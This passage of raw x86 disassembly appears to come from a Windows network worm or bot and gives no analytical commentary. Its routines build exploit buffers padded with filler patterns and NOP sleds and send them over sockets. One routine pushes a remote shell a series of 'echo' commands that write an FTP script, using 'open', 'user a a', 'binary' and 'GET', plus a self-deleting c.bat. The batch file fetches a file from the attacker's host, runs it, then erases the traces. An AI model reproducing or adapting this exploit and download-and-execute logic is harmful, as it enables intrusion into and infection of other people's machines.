ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016C2 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016C2 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4246D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4247B0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4247B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_402054j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424800 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401505j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424870 proc near ; CODE XREF: sub_4017D5j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_424884 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_424884: ; CODE XREF: sub_424870+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_445C14 lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4248E0 proc near ; CODE XREF: sub_401EC9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_401505 test al, al jnz short loc_4248FC pop esi retn 8 ; --------------------------------------------------------------------------- loc_4248FC: ; CODE XREF: sub_4248E0+16j mov ecx, esi call sub_4017D5 pop esi retn 8 sub_4248E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424920 proc near ; CODE XREF: sub_401BFEj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424CF5 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424CF5 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_4458B0 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_4458B8 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B7C lea ecx, [esp+864h+var_830] call sub_4017D5 mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "░B░B░B░B" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B7C push offset loc_445C38 lea ecx, [esp+868h+var_810] call sub_402054 lea ecx, [esp+864h+var_810] call sub_401B7C mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401843 lea ecx, [esp+864h+var_808] call sub_401B7C mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EC9 lea ecx, [esp+864h+var_808] call sub_4016C2 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402054 push 4 push offset dword_4458BC lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B7C mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_401505 mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_401505 lea ecx, [esp+864h+var_820] call sub_4017D5 lea ecx, [esp+864h+var_848] call sub_4016C2 lea ecx, [esp+864h+var_810] call sub_4016C2 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_401505 mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_401505 mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_401505 lea ecx, [esp+864h+var_828] call sub_4017D5 lea ecx, [esp+864h+var_840] call sub_4016C2 lea ecx, [esp+864h+var_830] call sub_4016C2 lea ecx, [esp+864h+var_820] call sub_4016C2 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B7C push 2 push offset dword_445C2C lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_401505 lea ecx, [esp+864h+var_838] call sub_4017D5 lea ecx, [esp+864h+var_828] call sub_4016C2 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016C2 push offset dword_445C28 lea ecx, [esp+868h+var_858] call sub_402054 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_444E70 lea ecx, [esp+868h+var_850] call sub_402054 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016C2 push offset dword_445C1C lea ecx, [esp+868h+var_858] call sub_402054 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_445C18 lea ecx, [esp+868h+var_818] call sub_402054 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4016C2 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424CF5: ; CODE XREF: sub_424920+1Ej ; sub_424920+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424920 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_401AC8j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 nop call near ptr 71AB2DC0h cmp eax, 1 jz short loc_424E89 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424E89: ; CODE XREF: sub_424E20+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_438256 sub_424E20 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424EA0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424EA0: ; CODE XREF: ___:00424E96j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F00 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi call near ptr 71AB2BC0h nop mov edi, [esp+0Ch+arg_0] mov ebx, dword_511CA0 mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424F33 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424F33: ; CODE XREF: sub_424F00+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424F00 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F70 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424FA3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424F70+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_44594C shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_4458C4 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_44597C mov [ebx+31h], eax mov ecx, dword_445980 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_510110 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_510114 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_425048 push ebx call near ptr 77C2C21Bh nop add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425048: ; CODE XREF: sub_424F70+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AC8 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_425083 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425083: ; CODE XREF: sub_424F70+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AC8 push ebx nop call near ptr 77C2C21Bh add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424F70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425100 proc near ; CODE XREF: sub_401820j var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = word ptr -418h var_416 = dword ptr -416h var_412 = dword ptr -412h var_40E = dword ptr -40Eh var_40A = word ptr -40Ah var_408 = dword ptr -408h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 420h push ebp push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [esp+42Ch+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_445AF0 lea edi, [esp+42Ch+var_400] rep movsd movsw mov ecx, offset byte_449521 movsb call sub_4017EE push eax mov ecx, offset byte_449521 call sub_4017EE mov ecx, [esp+430h+arg_0] push eax mov eax, dword_44965F push eax push ecx call sub_401E10 add esp, 4 lea edx, [esp+438h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx call near ptr 77C3FA76h nop add eax, 90h lea ecx, [esp+448h+var_408] push eax lea eax, [esp+44Ch+var_400] push eax push 164h push offset sub_445988 push ecx call sub_401BFE mov edx, [eax] xor edi, edi mov [esp+45Ch+var_420], edx add esp, 30h mov eax, [eax+4] cmp eax, edi mov [esp+42Ch+var_41C], eax jnz short loc_4251B2 xor eax, eax pop edi pop esi pop ebp add esp, 420h retn ; --------------------------------------------------------------------------- loc_4251B2: ; CODE XREF: sub_425100+A4j mov ebp, dword_511C38 mov [esp+42Ch+var_408], edi loc_4251BC: ; CODE XREF: sub_425100+161j test edi, edi jnz loc_425267 push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_42524A mov ecx, [esp+42Ch+arg_9E] xor eax, eax mov [esp+42Ch+var_416], eax push ecx mov [esp+430h+var_412], eax mov [esp+430h+var_418], 2 mov [esp+430h+var_40E], eax mov [esp+430h+var_40A], ax call ebp ; ntohs lea edx, [esp+42Ch+arg_4] mov word ptr [esp+42Ch+var_416], ax push edx nop call near ptr 71AB2BF4h mov [esp+42Ch+var_416+2], eax lea eax, [esp+42Ch+var_418] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_42523F mov ecx, [esp+42Ch+var_41C] mov edx, [esp+42Ch+var_420] push ecx push edx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_42523F: ; CODE XREF: sub_425100+123j push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_425255 loc_42524A: ; CODE XREF: sub_425100+D5j push 3E8h nop call near ptr 283030Ah loc_425255: ; CODE XREF: sub_425100+148j mov eax, [esp+42Ch+var_408] inc eax cmp eax, 2 mov [esp+42Ch+var_408], eax jl loc_4251BC loc_425267: ; CODE XREF: sub_425100+BEj lea ecx, [esp+42Ch+var_420] call sub_4016C2 test edi, edi jz short loc_425297 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E8h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425297: ; CODE XREF: sub_425100+172j pop edi pop esi mov eax, 1 pop ebp add esp, 420h retn sub_425100 endp ; --------------------------------------------------------------------------- aRrrrrrrrrr db '░░░░░░░░░░ллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'лллллллллллллллллллллллллллллллллллллллллллллллллллллллллИ',1Bh,0 align 4 dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h dd 2EE06800h, 77E80000h, 83FFFDCEh, 18A308C4h, 0C3005101h dd 2 dup(90909090h), 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_425370 proc near ; CODE XREF: sub_4013D4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 0C8h nop call near ptr 283030Ah mov edx, [esp+4+arg_4] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+4+arg_0] push 0 not ecx dec ecx push ecx push edx push eax call near ptr 71AB428Ah nop cmp eax, 0FFFFFFFFh pop edi setnz al retn sub_425370 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253C0 proc near ; CODE XREF: sub_4013BBj var_434 = byte ptr -434h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_4253C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 428h xor eax, eax push ebx mov [esp+438h+var_41C], eax push esi mov [esp+43Ch+var_418], eax lea ecx, [esp+43Ch+arg_4] push edi mov [esp+440h+var_414], eax push ecx mov [esp+444h+var_410], eax mov word ptr [esp+444h+var_41C], 2 nop call near ptr 71AB2BF4h mov dx, word_510118 mov [esp+440h+var_418], eax push edx nop call near ptr 71AB2B66h push 0 push 1 push 2 mov word ptr [esp+44Ch+var_41C+2], ax call near ptr 71AB3B91h nop mov esi, eax or ebx, 0FFFFFFFFh cmp esi, ebx jz loc_4256BE lea eax, [esp+440h+var_41C] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, ebx jz loc_4256BE mov edi, dword_511CA4 push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv lea ecx, [esp+440h+var_434] call sub_40142E mov edx, dword_44965F mov eax, [esp+440h+arg_0] push edx push eax mov [esp+448h+var_4], 0 call sub_401E10 add esp, 4 lea ecx, [esp+444h+var_434] push eax push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n" push ecx call sub_40102D add esp, 10h lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoBinary_pif ; "echo binary>>.pif \r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449521 call sub_4017EE push eax lea ecx, [esp+444h+var_434] push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n" push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoBye_pif ; "echo bye>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449521 call sub_4017EE push eax lea edx, [esp+444h+var_434] push offset aEchoSC_bat ; "echo %s >>c.bat\r\n" push edx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea eax, [esp+440h+var_434] push offset dword_4467B4 push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jnz short loc_4256C2 loc_4256AE: ; CODE XREF: sub_4253C0+F3j ; sub_4253C0+120j ... lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 loc_4256BE: ; CODE XREF: sub_4253C0+6Fj ; sub_4253C0+85j xor al, al jmp short loc_4256EA ; --------------------------------------------------------------------------- loc_4256C2: ; CODE XREF: sub_4253C0+2ECj push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv push esi nop call near ptr 71AB9639h lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 mov al, 1 loc_4256EA: ; CODE XREF: sub_4253C0+300j mov ecx, [esp+440h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 434h retn sub_4253C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257F0 proc near ; CODE XREF: sub_40180Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_28 = byte ptr 2Ch arg_2C = byte ptr 30h arg_2F = byte ptr 33h arg_59 = byte ptr 5Dh arg_5B = byte ptr 5Fh arg_5C = byte ptr 60h arg_90 = byte ptr 94h arg_A4 = byte ptr 0A8h arg_A5 = byte ptr 0A9h arg_F0 = byte ptr 0F4h arg_190 = byte ptr 194h arg_89C = dword ptr 8A0h arg_8AC = byte ptr 8B0h arg_8D4 = dword ptr 8D8h arg_8E4 = byte ptr 8E8h arg_C08 = dword ptr 0C0Ch arg_C0C = dword ptr 0C10h arg_C18 = byte ptr 0C1Ch arg_E30 = byte ptr 0E34h arg_E50 = byte ptr 0E54h arg_E70 = byte ptr 0E74h arg_E90 = byte ptr 0E94h arg_1480 = byte ptr 1484h arg_14E0 = byte ptr 14E4h arg_14FC = byte ptr 1500h arg_1CCC = byte ptr 1CD0h arg_2177 = byte ptr 217Bh arg_2464 = byte ptr 2468h arg_24C5 = byte ptr 24C9h arg_34F8 = byte ptr 34FCh arg_3FA0 = byte ptr 3FA4h arg_3FC0 = byte ptr 3FC4h arg_401C = byte ptr 4020h arg_401D = byte ptr 4021h arg_4020 = byte ptr 4024h arg_4030 = byte ptr 4034h arg_4AF4 = byte ptr 4AF8h arg_6098 = byte ptr 609Ch arg_60F8 = byte ptr 60FCh arg_6100 = byte ptr 6104h arg_8140 = byte ptr 8144h arg_81DC = byte ptr 81E0h arg_8234 = dword ptr 8238h arg_8290 = dword ptr 8294h arg_8294 = dword ptr 8298h mov eax, 81D8h call sub_437B30 mov eax, dword_446914 mov ecx, dword_446918 push ebx push ebp push esi lea edx, [esp+0Ch+arg_81DC] push edi mov [esp+10h], eax push edx lea eax, [esp+14h+arg_4] push offset dword_446908 push eax mov [esp+1Ch+arg_0], ecx call sub_5F74D1 nop add esp, 0Ch xor eax, eax lea ecx, [esp+10h+arg_A5] loc_425835: ; CODE XREF: sub_4257F0+56j mov dl, [esp+eax+10h+arg_4] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 28h jl short loc_425835 mov ecx, 18h mov esi, offset dword_4461D8 lea edi, [esp+10h+arg_2C] xor eax, eax rep movsd lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+10h+arg_A4] shl ecx, 1 mov eax, ecx lea edi, [esp+10h+arg_5C] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 mov edx, dword_44622F rep movsb lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx mov eax, dword_446233 dec ecx lea edi, [esp+10h+arg_4] lea ecx, [esp+ecx*2+10h+arg_5B] mov [ecx], edx mov dl, byte_446237 mov [ecx+4], eax xor eax, eax mov [ecx+8], dl or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+10h+arg_4] mov ebx, ecx or ecx, 0FFFFFFFFh add bl, 1Ah shl bl, 1 repne scasb mov ax, word_510118 mov [esp+10h+arg_2F], bl not ecx dec ecx push eax shl cl, 1 add cl, 9 mov [esp+14h+arg_59], cl nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_8294] xor eax, 9999h test edx, edx mov word_445ED8, ax jz loc_4259E3 mov ecx, 36Bh mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov edx, dword_4465CC[edx*8] rep stosd mov edi, offset loc_445E28 or ecx, 0FFFFFFFFh xor eax, eax mov esi, offset loc_445E28 repne scasb not ecx dec ecx lea edi, [esp+14h+arg_8E4] mov eax, ecx mov [esp+14h+arg_8D4], edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, dword_446900 mov edi, offset loc_445E28 mov [esp+14h+arg_C08], ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov [esp+14h+arg_C0C], edx mov edx, ecx mov esi, offset loc_445E28 lea edi, [esp+14h+arg_C18] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+14h+arg_24C5] loc_42598F: ; CODE XREF: sub_4257F0+1B5j mov dl, [esp+eax+14h+arg_F0] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 0DACh jl short loc_42598F mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_60F8] mov [esp+14h+arg_401C], 0 rep stosd stosw mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_4020] mov [esp+14h+arg_401D], 0 rep stosd stosw jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_4259E3: ; CODE XREF: sub_4257F0+10Bj mov ecx, 1F4h mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov esi, offset loc_445E28 rep stosd mov edi, offset loc_445E28 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea edi, [esp+14h+arg_190] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+14h+var_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+14h+var_4] mov edx, ecx lea edi, [esp+14h+arg_8AC] shr ecx, 2 rep movsd mov eax, dword_4465CC mov ecx, edx and ecx, 3 rep movsb mov 